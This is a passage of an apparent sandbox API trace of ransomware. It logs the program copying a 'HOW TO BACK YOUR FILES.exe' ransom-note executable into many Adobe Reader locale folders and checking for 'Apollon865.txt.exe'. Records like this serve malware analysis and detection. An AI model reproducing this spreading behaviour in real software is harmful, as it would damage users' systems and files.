	[0058.480] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services"
	[0058.480] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.481] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.490] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.490] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3aed9570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3aed9570, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.491] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.491] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.491] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO"
	[0058.491] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfcd8 | out: hHeap=0x580000) returned 1
	[0058.491] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0058.491] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO") returned 60
	[0058.491] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO"
	[0058.491] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.491] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.497] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.497] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3aeff6d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3aeff6d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.497] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.497] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.497] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services"
	[0058.497] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0058.497] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0058.497] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services") returned 69
	[0058.498] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services"
	[0058.498] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.498] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.506] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.506] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3aeff6d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3aeff6d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.506] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.506] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.506] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR"
	[0058.506] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfc50 | out: hHeap=0x580000) returned 1
	[0058.506] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0058.506] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR") returned 60
	[0058.506] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR"
	[0058.506] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.507] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.514] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.514] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3af25830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3af25830, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.514] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.515] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.515] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services"
	[0058.515] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0058.515] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0058.515] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services") returned 69
	[0058.515] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services"
	[0058.515] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.515] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.522] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.522] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3af4b990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3af4b990, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.522] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.522] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.522] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP"
	[0058.522] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfbc8 | out: hHeap=0x580000) returned 1
	[0058.522] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0058.523] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP") returned 60
	[0058.523] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP"
	[0058.523] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.523] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.528] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.528] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3af4b990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3af4b990, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.528] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.528] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.528] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services"
	[0058.528] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0058.528] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0058.528] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services") returned 69
	[0058.528] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services"
	[0058.528] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.528] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.534] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.534] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3af4b990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3af4b990, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.534] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.534] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.535] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT"
	[0058.535] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfb40 | out: hHeap=0x580000) returned 1
	[0058.535] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0058.535] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT") returned 60
	[0058.535] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT"
	[0058.535] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.535] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.540] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.540] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3af71af0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3af71af0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.540] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.541] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.541] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services"
	[0058.541] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0058.541] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0058.541] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services") returned 69
	[0058.541] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services"
	[0058.541] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.541] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.546] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.546] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3af71af0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3af71af0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.546] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.546] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.546] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU"
	[0058.546] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfab8 | out: hHeap=0x580000) returned 1
	[0058.546] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0058.546] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU") returned 60
	[0058.546] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU"
	[0058.546] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.546] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.552] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.552] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3af97c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3af97c50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.552] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.552] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.553] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services"
	[0058.553] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0058.553] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0058.553] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services") returned 69
	[0058.553] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services"
	[0058.553] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.553] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.559] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
